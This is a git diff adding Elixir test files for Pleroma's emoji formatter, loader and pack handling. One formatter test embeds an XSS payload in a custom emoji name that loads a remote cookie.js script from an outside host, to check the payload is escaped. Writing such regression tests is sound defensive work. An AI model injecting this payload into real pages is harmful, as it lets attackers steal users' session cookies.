3 files changed, 225 insertions, 0 deletions
diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs
new file mode 100644
index 000000000..3942f609f
--- /dev/null
+++ b/test/pleroma/emoji/formatter_test.exs
@@ -0,0 +1,49 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji.Formatter
+  use Pleroma.DataCase, async: true
+
+  describe "emojify" do
+    test "it adds cool emoji" do
+      text = "I love :firefox:"
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
+
+      assert Formatter.emojify(text) == expected_result
+    end
+
+    test "it does not add XSS emoji" do
+      text =
+        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+      custom_emoji =
+        {
+          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+          "https://placehold.it/1x1"
+        }
+        |> Pleroma.Emoji.build()
+
+      refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
+    end
+  end
+
+  describe "get_emoji_map" do
+    test "it returns the emoji used in the text" do
+      assert Formatter.get_emoji_map("I love :firefox:") == %{
+               "firefox" => "http://localhost:4001/emoji/Firefox.gif"
+             }
+    end
+
+    test "it returns a nice empty result when no emojis are present" do
+      assert Formatter.get_emoji_map("I love moominamma") == %{}
+    end
+
+    test "it doesn't die when text is absent" do
+      assert Formatter.get_emoji_map(nil) == %{}
+    end
+  end
+end
diff --git a/test/pleroma/emoji/loader_test.exs b/test/pleroma/emoji/loader_test.exs
new file mode 100644
index 000000000..de89e3bc4
--- /dev/null
+++ b/test/pleroma/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+  use ExUnit.Case, async: true
+  alias Pleroma.Emoji.Loader
+
+  describe "match_extra/2" do
+    setup do
+      groups = [
+        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+        "wildcard folder": "/emoji/custom/*/file.png",
+        "wildcard files": "/emoji/custom/folder/*.png",
+        "special file": "/emoji/custom/special.png"
+      ]
+
+      {:ok, groups: groups}
+    end
+
+    test "config for list of files", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/first_file.png")
+        |> to_string()
+
+      assert group == "list of files"
+    end
+
+    test "config with wildcard folder", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+        |> to_string()
+
+      assert group == "wildcard folder"
+    end
+
+    test "config with wildcard folder and subfolders", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+        |> to_string()
+
+      assert group == "wildcard folder"
+    end
+
+    test "config with wildcard files", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+        |> to_string()
+
+      assert group == "wildcard files"
+    end
+
+    test "config with wildcard files and subfolders", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+        |> to_string()
+
+      assert group == "wildcard files"
+    end
+
+    test "config for special file", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/custom/special.png")
+        |> to_string()
+
+      assert group == "special file"
+    end
+
+    test "no mathing returns nil", %{groups: groups} do
+      group =
+        groups
+        |> Loader.match_extra("/emoji/some_undefined.png")
+
+      refute group
+    end
+  end
+end
diff --git a/test/pleroma/emoji/pack_test.exs b/test/pleroma/emoji/pack_test.exs
new file mode 100644
index 000000000..ac7535412
--- /dev/null
+++ b/test/pleroma/emoji/pack_test.exs
@@ -0,0 +1,93 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.PackTest do
+  use Pleroma.DataCase
+  alias Pleroma.Emoji.Pack
+
+  @emoji_path Path.join(
+                Pleroma.Config.get!([:instance, :static_dir]),
+                "emoji"
+              )
+
+  setup do
+    pack_path = Path.join(@emoji_path, "dump_pack")
+    File.mkdir(pack_path)
+
+    File.write!(Path.join(pack_path, "pack.json"), """
+    {
+    "files": { },
+    "pack": {
+    "description": "Dump pack", "homepage": "https://pleroma.social",
+    "license": "Test license", "share-files": true
+    }}
+    """)
+
+    {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack")
+
+    on_exit(fn ->
+      File.rm_rf!(pack_path)
+    end)
+
+    {:ok, pack: pack}
+  end
+
+  describe "add_file/4" do
+    test "add emojies from zip file", %{pack: pack} do
+      file = %Plug.Upload{
+        content_type: "application/zip",
+        filename: "emojis.zip",
+        path: Path.absname("test/fixtures/emojis.zip")
+      }
+
+      {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)
+
+      assert updated_pack.files == %{
+               "a_trusted_friend-128" => "128px/a_trusted_friend-128.png",
+               "auroraborealis" => "auroraborealis.png",
+               "baby_in_a_box" => "1000px/baby_in_a_box.png",
+               "bear" => "1000px/bear.png",
+               "bear-128" => "128px/bear-128.png"
+             }
+
+      assert updated_pack.files_count == 5
+    end
+  end
+
+  test "returns error when zip file is bad", %{pack: pack} do
+    file = %Plug.Upload{
+      content_type: "application/zip",
+      filename: "emojis.zip",
+      path: Path.absname("test/instance_static/emoji/test_pack/blank.png")
+    }
+
+    assert Pack.add_file(pack, nil, nil, file) == {:error, :einval}
+  end
+
+  test "returns pack when zip file is empty", %{pack: pack} do
+    file = %Plug.Upload{
+      content_type: "application/zip",
+      filename: "emojis.zip",
+      path: Path.absname("test/fixtures/empty.zip")
+    }
+
+    {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)
+    assert updated_pack == pack
+  end
+
+  test "add emoji file", %{pack: pack} do
+    file = %Plug.Upload{
+      filename: "blank.png",
+      path: "#{@emoji_path}/test_pack/blank.png"
+    }
+
+    {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file)
+
+    assert updated_pack.files == %{
+             "test_blank" => "test_blank.png"
+           }
+
+    assert updated_pack.files_count == 1
+  end
+end